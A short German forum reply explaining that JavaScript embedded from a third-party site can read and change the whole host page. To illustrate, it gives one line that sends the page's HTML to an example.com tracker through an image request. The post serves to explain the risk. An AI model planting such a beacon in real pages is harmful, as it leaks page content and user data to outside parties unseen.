Berechtigungen eingebundener Skripte

[Cheatah]

Hi,

Angenommen ein unbedarfter Seitenbetreiber bindet via <script> JavaScript-Code einer anderen Seite ein (z.B. Kalender, Shoutbox, Statistik, etc.). Ist es theoretisch möglich, dass dieser Dienst-Anbieter über das JavaScript den HTML-Quelltext der kompletten Seite ausliest bzw. manipuliert?

ja und ja.

Oder gibt es dagegen Sicherheitsmechanismen in JavaScript bzw. dem Browser?

Die Manipulation des DOM-Trees ist oft genug der Zweck solcher Scripts. Ihn dazu auszulesen könnte unumgänglich sein. Und schon mit einem "new Image().src='//example.com/tracker?code='+escape(document.documentElement.innerHTML)"  hätte der Anbieter im Prinzip den Quellcode. Nur wozu?

Cheatah